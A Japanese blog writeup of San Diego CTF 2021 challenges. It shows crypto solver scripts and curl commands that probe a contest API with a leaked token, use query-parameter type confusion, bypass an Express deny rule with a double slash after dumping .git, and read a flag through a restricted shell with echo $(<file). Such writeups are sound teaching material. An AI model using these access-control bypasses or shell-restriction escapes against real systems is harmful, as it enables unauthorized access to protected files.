st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

San Diego CTF 2021 writeup

5/8 - 5/10の日程で開催された。zer0ptsで参加して1位🎉Discordサーバがスコアサーバという不思議なCTFだった。

[Crypto] Case64AR

問題名からシーザー暗号 + Base64と推測できる。シーザー暗号で回すのは暗号文の方ではなく、Base64のテーブルの方。

import string
import base64
s = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv'

table = string.ascii_uppercase
table += string.ascii_lowercase
table += string.digits
table += '+/'

for i in range(64):
  tr = str.maketrans(table, table[i:] + table[:i])
  print(base64.b64decode(s.translate(tr)))

[Crypto] A Prime Hash Candidate

実装が面倒になったらZ3。

from z3 import *

def hash(data):
  out = 0
  for c in data:
    out *= 31
    out += c
  return out

password = [Int('password_%d' % i) for i in range(17)]
solver = Solver()
for c in password:
  solver.add(ord(' ') <= c, c <= ord('~'))
solver.add(hash(password) == 59784015375233083673486266)

r = solver.check()
m = solver.model()
print(''.join(chr(m[c].as_long()) for c in password))

[Crypto] Lost in Transmission

flag.dat の全てのバイトが偶数でほとんどのバイトが0x80を超えているあたりから、フラグの各文字の文字コードが2倍されているのだなあとエスパーできる。

print(''.join(chr(c // 2) for c in s))

[Web] Apollo 1337

minifyされたコードを頑張って読んでいくと、/api/status?verbose= というAPIエンドポイントがあること、yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ がなんらかのトークンとして使えることがわかる。

f:id:st98:20210616115954p:plain

/api/status?verbose=abc/status のほかにもAPIエンドポイントがあることがわかる。

{"status":"health","longStatus":"Healthy. All routes are functioning properly.","version":"1.0.0","routes":[{"path":"/status","status":"healthy"},{"path":"/rocketLaunch","status":"healthy"},{"path":"/fuel","status":"healthy"}]}

/rocketLaunch が怪しい。エラーメッセージなどから頑張ってAPIの使い方を探っていく。

$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{}'
rocket not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":""}'
rocket not recognized (available: triton)
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton"}'
launchTime not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":""}'
launchTime not in hh:mm format
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"00:00"}'
launchTime unapproved
$ for m in {0..60}; do echo -en "$m: "; curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:'$(printf "%02d" $m)'"}'; echo; done
0: fuel pumpID not specified
1: launchTime unapproved
2: launchTime unapproved
3: launchTime unapproved
4: launchTime unapproved
5: launchTime unapproved
6: launchTime unapproved
7: launchTime unapproved
8: launchTime unapproved
9: launchTime unapproved
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4}'
frontend authorization token not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4,"token":"yiLYDykacWp9sgPMluQeKkANeRFXyU3Zux
Brj2BQ"}'
rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}

[Web] GETS Request

/prime?n[toString]=12 で以下のようなエラーが出ることから、Node.js + Expressが使われていることがわかる。

TypeError: Cannot convert object to primitive value
    at /app/index.js:26:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
    at next (/app/node_modules/express/lib/router/index.js:275:10)
    at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

ということは ?n[]=… で文字列と配列を混同させることができるのではないか。適当にいじっていたらフラグが得られた。

$ curl -g "https://gets.sdc.tf/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}

[Web] Git Good

問題名からGitネタだなあと推測できる。rip-git.pl/.git をダウンロードして objects/ 下のファイルを展開していくと、/secret.flag にフラグがあることがわかる。

/* (snip) */
// gotta make sure we don't leak important stuff!
app.all('/users.db', (req, res) => res.sendStatus(403))
app.all('/secret.flag', (req, res) => res.sendStatus(403))
app.all('/app.js', (req, res) => res.sendStatus(403))

// lastly, include all of our assets with zero side effects! :)
app.use(express.static('.'))
/* (snip) */

/secret.flag は弾かれるが、//secret.flag は通った。

$ curl --path-as-is "https://cgau.sdc.tf//secret.flag"
sdctf{1298754_Y0U_G07_g00D!}

[Misc] No flag for you

使えるコマンドは制限されているが、echo opt/*ls opt/ の、echo $(<filename)cat filename の代わりになることを使えばフラグが得られる。

$ nc noflag.sdc.tf 1337
There is no flag here.
rbash$ ls
README
bin
opt
rbash$ cat README
Hahahahahaha!

Welcome to the most restrictive shell ever. Don't even try to escape this.
rbash$ echo opt/*
opt/flag-b01d7291b94feefa35e6.txt
rbash$ cat opt/flag-b01d7291b94feefa35e6.txt
No flag for you!
rbash$ echo $(<opt/flag-b01d7291b94feefa35e6.txt)
sdctf{1t'5_7h3_sh3ll_1n_4_shEll}